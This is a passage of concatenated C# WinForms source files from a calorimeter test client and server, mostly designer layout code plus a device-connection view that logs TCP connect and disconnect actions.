this.view20Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view20Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view20Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view20Panel.InnerColor2 = System.Drawing.Color.White;
this.view20Panel.Location = new System.Drawing.Point(1324, 307);
this.view20Panel.Name = "view20Panel";
this.view20Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view20Panel.OuterColor2 = System.Drawing.Color.White;
this.view20Panel.Size = new System.Drawing.Size(160, 300);
this.view20Panel.Spacing = 0;
this.view20Panel.TabIndex = 20;
this.view20Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view20Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view8Panel
//
this.view8Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view8Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view8Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view8Panel.InnerColor2 = System.Drawing.Color.White;
this.view8Panel.Location = new System.Drawing.Point(1158, 0);
this.view8Panel.Name = "view8Panel";
this.view8Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view8Panel.OuterColor2 = System.Drawing.Color.White;
this.view8Panel.Size = new System.Drawing.Size(160, 300);
this.view8Panel.Spacing = 0;
this.view8Panel.TabIndex = 8;
this.view8Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view8Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view7Panel
//
this.view7Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view7Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view7Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view7Panel.InnerColor2 = System.Drawing.Color.White;
this.view7Panel.Location = new System.Drawing.Point(993, 0);
this.view7Panel.Name = "view7Panel";
this.view7Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view7Panel.OuterColor2 = System.Drawing.Color.White;
this.view7Panel.Size = new System.Drawing.Size(160, 300);
this.view7Panel.Spacing = 0;
this.view7Panel.TabIndex = 7;
this.view7Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view7Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view6Panel
//
this.view6Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view6Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view6Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view6Panel.InnerColor2 = System.Drawing.Color.White;
this.view6Panel.Location = new System.Drawing.Point(828, 0);
this.view6Panel.Name = "view6Panel";
this.view6Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view6Panel.OuterColor2 = System.Drawing.Color.White;
this.view6Panel.Size = new System.Drawing.Size(160, 300);
this.view6Panel.Spacing = 0;
this.view6Panel.TabIndex = 6;
this.view6Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view6Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view5Panel
//
this.view5Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view5Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view5Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view5Panel.InnerColor2 = System.Drawing.Color.White;
this.view5Panel.Location = new System.Drawing.Point(663, 0);
this.view5Panel.Name = "view5Panel";
this.view5Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view5Panel.OuterColor2 = System.Drawing.Color.White;
this.view5Panel.Size = new System.Drawing.Size(160, 300);
this.view5Panel.Spacing = 0;
this.view5Panel.TabIndex = 5;
this.view5Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view5Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view4Panel
//
this.view4Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view4Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view4Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view4Panel.InnerColor2 = System.Drawing.Color.White;
this.view4Panel.Location = new System.Drawing.Point(498, 0);
this.view4Panel.Name = "view4Panel";
this.view4Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view4Panel.OuterColor2 = System.Drawing.Color.White;
this.view4Panel.Size = new System.Drawing.Size(160, 300);
this.view4Panel.Spacing = 0;
this.view4Panel.TabIndex = 4;
this.view4Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view4Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view3Panel
//
this.view3Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view3Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view3Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view3Panel.InnerColor2 = System.Drawing.Color.White;
this.view3Panel.Location = new System.Drawing.Point(332, 0);
this.view3Panel.Name = "view3Panel";
this.view3Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view3Panel.OuterColor2 = System.Drawing.Color.White;
this.view3Panel.Size = new System.Drawing.Size(160, 300);
this.view3Panel.Spacing = 0;
this.view3Panel.TabIndex = 3;
this.view3Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view3Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view2Panel
//
this.view2Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view2Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view2Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view2Panel.InnerColor2 = System.Drawing.Color.White;
this.view2Panel.Location = new System.Drawing.Point(166, 0);
this.view2Panel.Name = "view2Panel";
this.view2Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view2Panel.OuterColor2 = System.Drawing.Color.White;
this.view2Panel.Size = new System.Drawing.Size(160, 300);
this.view2Panel.Spacing = 0;
this.view2Panel.TabIndex = 2;
this.view2Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view2Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view31Panel
//
this.view31Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view31Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view31Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view31Panel.InnerColor2 = System.Drawing.Color.White;
this.view31Panel.Location = new System.Drawing.Point(1324, 615);
this.view31Panel.Name = "view31Panel";
this.view31Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view31Panel.OuterColor2 = System.Drawing.Color.White;
this.view31Panel.Size = new System.Drawing.Size(160, 300);
this.view31Panel.Spacing = 0;
this.view31Panel.TabIndex = 31;
this.view31Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view31Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view33Panel
//
this.view33Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view33Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view33Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view33Panel.InnerColor2 = System.Drawing.Color.White;
this.view33Panel.Location = new System.Drawing.Point(1656, 615);
this.view33Panel.Name = "view33Panel";
this.view33Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view33Panel.OuterColor2 = System.Drawing.Color.White;
this.view33Panel.Size = new System.Drawing.Size(160, 300);
this.view33Panel.Spacing = 0;
this.view33Panel.TabIndex = 33;
this.view33Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view33Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view32Panel
//
this.view32Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view32Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view32Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view32Panel.InnerColor2 = System.Drawing.Color.White;
this.view32Panel.Location = new System.Drawing.Point(1490, 615);
this.view32Panel.Name = "view32Panel";
this.view32Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view32Panel.OuterColor2 = System.Drawing.Color.White;
this.view32Panel.Size = new System.Drawing.Size(160, 300);
this.view32Panel.Spacing = 0;
this.view32Panel.TabIndex = 32;
this.view32Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view32Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view30Panel
//
this.view30Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view30Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view30Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view30Panel.InnerColor2 = System.Drawing.Color.White;
this.view30Panel.Location = new System.Drawing.Point(1158, 615);
this.view30Panel.Name = "view30Panel";
this.view30Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view30Panel.OuterColor2 = System.Drawing.Color.White;
this.view30Panel.Size = new System.Drawing.Size(160, 300);
this.view30Panel.Spacing = 0;
this.view30Panel.TabIndex = 30;
this.view30Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view30Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view29Panel
//
this.view29Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view29Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view29Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view29Panel.InnerColor2 = System.Drawing.Color.White;
this.view29Panel.Location = new System.Drawing.Point(993, 615);
this.view29Panel.Name = "view29Panel";
this.view29Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view29Panel.OuterColor2 = System.Drawing.Color.White;
this.view29Panel.Size = new System.Drawing.Size(160, 300);
this.view29Panel.Spacing = 0;
this.view29Panel.TabIndex = 29;
this.view29Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view29Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view28Panel
//
this.view28Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view28Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view28Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view28Panel.InnerColor2 = System.Drawing.Color.White;
this.view28Panel.Location = new System.Drawing.Point(828, 615);
this.view28Panel.Name = "view28Panel";
this.view28Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view28Panel.OuterColor2 = System.Drawing.Color.White;
this.view28Panel.Size = new System.Drawing.Size(160, 300);
this.view28Panel.Spacing = 0;
this.view28Panel.TabIndex = 28;
this.view28Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view28Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view27Panel
//
this.view27Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view27Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view27Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view27Panel.InnerColor2 = System.Drawing.Color.White;
this.view27Panel.Location = new System.Drawing.Point(663, 615);
this.view27Panel.Name = "view27Panel";
this.view27Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view27Panel.OuterColor2 = System.Drawing.Color.White;
this.view27Panel.Size = new System.Drawing.Size(160, 300);
this.view27Panel.Spacing = 0;
this.view27Panel.TabIndex = 27;
this.view27Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view27Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view26Panel
//
this.view26Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view26Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view26Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view26Panel.InnerColor2 = System.Drawing.Color.White;
this.view26Panel.Location = new System.Drawing.Point(498, 615);
this.view26Panel.Name = "view26Panel";
this.view26Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view26Panel.OuterColor2 = System.Drawing.Color.White;
this.view26Panel.Size = new System.Drawing.Size(160, 300);
this.view26Panel.Spacing = 0;
this.view26Panel.TabIndex = 26;
this.view26Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view26Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// view25Panel
//
this.view25Panel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.view25Panel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.view25Panel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view25Panel.InnerColor2 = System.Drawing.Color.White;
this.view25Panel.Location = new System.Drawing.Point(332, 615);
this.view25Panel.Name = "view25Panel";
this.view25Panel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.view25Panel.OuterColor2 = System.Drawing.Color.White;
this.view25Panel.Size = new System.Drawing.Size(160, 300);
this.view25Panel.Spacing = 0;
this.view25Panel.TabIndex = 25;
this.view25Panel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.view25Panel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// CtrlDeviceController
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Name = "CtrlDeviceController";
this.Size = new System.Drawing.Size(1816, 915);
this.bgPanel.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private Ulee.Controls.UlPanel view1Panel;
private Ulee.Controls.UlPanel view24Panel;
private Ulee.Controls.UlPanel view23Panel;
private Ulee.Controls.UlPanel view22Panel;
private Ulee.Controls.UlPanel view21Panel;
private Ulee.Controls.UlPanel view19Panel;
private Ulee.Controls.UlPanel view18Panel;
private Ulee.Controls.UlPanel view17Panel;
private Ulee.Controls.UlPanel view16Panel;
private Ulee.Controls.UlPanel view15Panel;
private Ulee.Controls.UlPanel view14Panel;
private Ulee.Controls.UlPanel view13Panel;
private Ulee.Controls.UlPanel view12Panel;
private Ulee.Controls.UlPanel view11Panel;
private Ulee.Controls.UlPanel view10Panel;
private Ulee.Controls.UlPanel view9Panel;
private Ulee.Controls.UlPanel view20Panel;
private Ulee.Controls.UlPanel view31Panel;
private Ulee.Controls.UlPanel view33Panel;
private Ulee.Controls.UlPanel view32Panel;
private Ulee.Controls.UlPanel view30Panel;
private Ulee.Controls.UlPanel view29Panel;
private Ulee.Controls.UlPanel view28Panel;
private Ulee.Controls.UlPanel view27Panel;
private Ulee.Controls.UlPanel view26Panel;
private Ulee.Controls.UlPanel view25Panel;
private Ulee.Controls.UlPanel view8Panel;
private Ulee.Controls.UlPanel view7Panel;
private Ulee.Controls.UlPanel view6Panel;
private Ulee.Controls.UlPanel view5Panel;
private Ulee.Controls.UlPanel view4Panel;
private Ulee.Controls.UlPanel view3Panel;
private Ulee.Controls.UlPanel view2Panel;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlTestLeft : UlUserControlEng
{
public CtrlTestLeft()
{
InitializeComponent();
Initialize();
}
private void Initialize()
{
DefMenu = new UlMenu(viewPanel);
DefMenu.Add(new CtrlTestRight(0), line1Button);
DefMenu.Add(new CtrlTestRight(1), line2Button);
DefMenu.Add(new CtrlTestRight(2), line3Button);
DefMenu.Add(new CtrlTestRight(3), line4Button);
}
private void CtrlTestTop_Load(object sender, EventArgs e)
{
DefMenu.Index = 0;
}
}
}
<file_sep>using System;
using System.Data;
using System.Drawing;
using System.Threading;
using System.Windows.Forms;
using DevExpress.XtraGrid;
using DevExpress.XtraGrid.Views.Base;
using DevExpress.XtraGrid.Views.Grid;
using Ulee.Controls;
using Ulee.Device.Connection;
using Ulee.Device.Connection.Yokogawa;
namespace Hnc.Calorimeter.Server
{
public partial class CtrlViewDevice : UlUserControlEng
{
public CtrlViewDevice()
{
InitializeComponent();
Initialize();
}
private void CtrlViewDevice_Enter(object sender, EventArgs e)
{
powerMeterGridView.RefreshData();
controllerGridView.RefreshData();
recorderGridView.RefreshData();
plcGridView.RefreshData();
}
private void Initialize()
{
Color evenColor = Color.FromArgb(244, 244, 236);
powerMeterGrid.DataSource = Resource.Server.Devices.PowerMeter;
powerMeterGridView.Appearance.EvenRow.BackColor = evenColor;
powerMeterGridView.OptionsView.EnableAppearanceEvenRow = true;
recorderGrid.DataSource = Resource.Server.Devices.Recorder;
recorderGridView.Appearance.EvenRow.BackColor = evenColor;
recorderGridView.OptionsView.EnableAppearanceEvenRow = true;
controllerGrid.DataSource = Resource.Server.Devices.Controller;
controllerGridView.Appearance.EvenRow.BackColor = evenColor;
controllerGridView.OptionsView.EnableAppearanceEvenRow = true;
plcGrid.DataSource = Resource.Server.Devices.Plc;
plcGridView.Appearance.EvenRow.BackColor = evenColor;
plcGridView.OptionsView.EnableAppearanceEvenRow = true;
for (int i = 0; i < Resource.Server.Devices.PowerMeter.Count; i++)
{
Resource.Server.Devices.PowerMeter[i].AddAfterExceptionHandler(DoAfterGridException);
}
for (int i = 0; i < Resource.Server.Devices.Recorder.Count; i++)
{
Resource.Server.Devices.Recorder[i].AddAfterExceptionHandler(DoAfterGridException);
}
for (int i = 0; i < Resource.Server.Devices.Controller.Count; i++)
{
Resource.Server.Devices.Controller[i].AddAfterExceptionHandler(DoAfterGridException);
}
for (int i = 0; i < Resource.Server.Devices.Plc.Count; i++)
{
Resource.Server.Devices.Plc[i].AddAfterExceptionHandler(DoAfterGridException);
}
}
private void modifyButton_Click(object sender, EventArgs args)
{
if (Resource.Authority > EUserAuthority.Admin) return;
int tag = int.Parse((sender as Button).Tag.ToString());
GridView view = GetGridView(tag);
if (view.FocusedRowHandle < 0) return;
UlEthernetClient client = GetEthernetClient(tag, view.FocusedRowHandle);
FormDeviceEdit form = new FormDeviceEdit();
form.Text = $"{client.Name} Modify";
Resource.TLog.Log((int)ELogItem.Note, $"Clicked {form.Text} button.");
form.linkCombo.SelectedIndex =
(client.Connected == false) ? (int)EEthernetLink.Disconnect : (int)EEthernetLink.Connect;
form.modeCombo.SelectedIndex = (int)client.Mode;
if (form.ShowDialog() == DialogResult.OK)
{
bool link = (form.linkCombo.SelectedIndex == (int)EEthernetLink.Disconnect) ? false : true;
if (client.Connected != link)
{
try
{
if (link == true)
{
Resource.TLog.Log((int)ELogItem.Note, $"Try to Connect TCP socket of {client.Name}");
client.Close();
client.Connect();
Resource.TLog.Log((int)ELogItem.Note, $"Connected TCP socket of {client.Name}");
}
else
{
client.Close();
Resource.TLog.Log((int)ELogItem.Note, $"Disconnected TCP socket of {client.Name}");
}
client.Mode = (EEthernetMode)form.modeCombo.SelectedIndex;
Resource.TLog.Log((int)ELogItem.Note, $"Changed mode of {client.Name} to {client.Mode.ToString()}");
}
catch (Exception e)
{
Resource.TLog.Log((int)ELogItem.Exception, e.ToString());
MessageBox.Show(
$"Can't change mode of {client.Name}!\r\nPlease check this device and cabling.",
Resource.Caption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
}
}
view.RefreshData();
}
}
private GridView GetGridView(int index)
{
GridView view = null;
switch (index)
{
case 0:
view = powerMeterGridView;
break;
case 1:
view = recorderGridView;
break;
case 2:
view = controllerGridView;
break;
case 3:
view = plcGridView;
break;
}
return view;
}
private UlEthernetClient GetEthernetClient(int index, int row)
{
UlEthernetClient client = null;
switch (index)
{
case 0:
client = Resource.Server.Devices.PowerMeter[row];
break;
case 1:
client = Resource.Server.Devices.Recorder[row];
break;
case 2:
client = Resource.Server.Devices.Controller[row];
break;
case 3:
client = Resource.Server.Devices.Plc[row];
break;
}
return client;
}
private void DoAfterGridException(object sender, EventArgs e)
{
if (this.InvokeRequired == true)
{
EventHandler func = new EventHandler(DoAfterGridException);
this.BeginInvoke(func, new object[] { sender, e });
}
else
{
powerMeterGridView.RefreshData();
controllerGridView.RefreshData();
recorderGridView.RefreshData();
plcGridView.RefreshData();
}
}
}
}
<file_sep>namespace Hnc.Calorimeter.Server
{
partial class CtrlViewClient
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.clientGrid = new DevExpress.XtraGrid.GridControl();
this.clientGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.cgNoColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.cgConnectedTimeColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.cgIpColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.cgPortColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.cgStateColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.cgScanTimeColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.bgPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.clientGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.clientGridView)).BeginInit();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.Controls.Add(this.clientGrid);
this.bgPanel.Size = new System.Drawing.Size(904, 645);
//
// clientGrid
//
this.clientGrid.Dock = System.Windows.Forms.DockStyle.Fill;
this.clientGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.clientGrid.Location = new System.Drawing.Point(0, 0);
this.clientGrid.MainView = this.clientGridView;
this.clientGrid.Name = "clientGrid";
this.clientGrid.Size = new System.Drawing.Size(904, 645);
this.clientGrid.TabIndex = 2;
this.clientGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.clientGridView});
//
// clientGridView
//
this.clientGridView.Appearance.EvenRow.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.clientGridView.Appearance.EvenRow.Options.UseFont = true;
this.clientGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.clientGridView.Appearance.FixedLine.Options.UseFont = true;
this.clientGridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.clientGridView.Appearance.FocusedCell.Options.UseFont = true;
this.clientGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.clientGridView.Appearance.FocusedRow.Options.UseFont = true;
this.clientGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.clientGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.clientGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.clientGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.clientGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.clientGridView.Appearance.OddRow.Options.UseFont = true;
this.clientGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.clientGridView.Appearance.Preview.Options.UseFont = true;
this.clientGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.clientGridView.Appearance.Row.Options.UseFont = true;
this.clientGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.clientGridView.Appearance.SelectedRow.Options.UseFont = true;
this.clientGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.clientGridView.Appearance.ViewCaption.Options.UseFont = true;
this.clientGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.cgNoColumn,
this.cgConnectedTimeColumn,
this.cgIpColumn,
this.cgPortColumn,
this.cgStateColumn,
this.cgScanTimeColumn});
this.clientGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.clientGridView.GridControl = this.clientGrid;
this.clientGridView.IndicatorWidth = 40;
this.clientGridView.Name = "clientGridView";
this.clientGridView.OptionsView.ColumnAutoWidth = false;
this.clientGridView.OptionsView.ShowGroupPanel = false;
this.clientGridView.OptionsView.ShowIndicator = false;
//
// cgNoColumn
//
this.cgNoColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgNoColumn.AppearanceCell.Options.UseFont = true;
this.cgNoColumn.AppearanceCell.Options.UseTextOptions = true;
this.cgNoColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.cgNoColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cgNoColumn.AppearanceHeader.Options.UseFont = true;
this.cgNoColumn.AppearanceHeader.Options.UseTextOptions = true;
this.cgNoColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.cgNoColumn.Caption = "No";
this.cgNoColumn.DisplayFormat.FormatString = "{0:d2}";
this.cgNoColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.cgNoColumn.FieldName = "Index";
this.cgNoColumn.Name = "cgNoColumn";
this.cgNoColumn.OptionsColumn.AllowEdit = false;
this.cgNoColumn.OptionsColumn.AllowFocus = false;
this.cgNoColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.cgNoColumn.OptionsColumn.AllowIncrementalSearch = false;
this.cgNoColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.cgNoColumn.OptionsColumn.AllowMove = false;
this.cgNoColumn.OptionsColumn.AllowShowHide = false;
this.cgNoColumn.OptionsColumn.AllowSize = false;
this.cgNoColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.cgNoColumn.OptionsColumn.FixedWidth = true;
this.cgNoColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.cgNoColumn.OptionsColumn.ReadOnly = true;
this.cgNoColumn.OptionsColumn.TabStop = false;
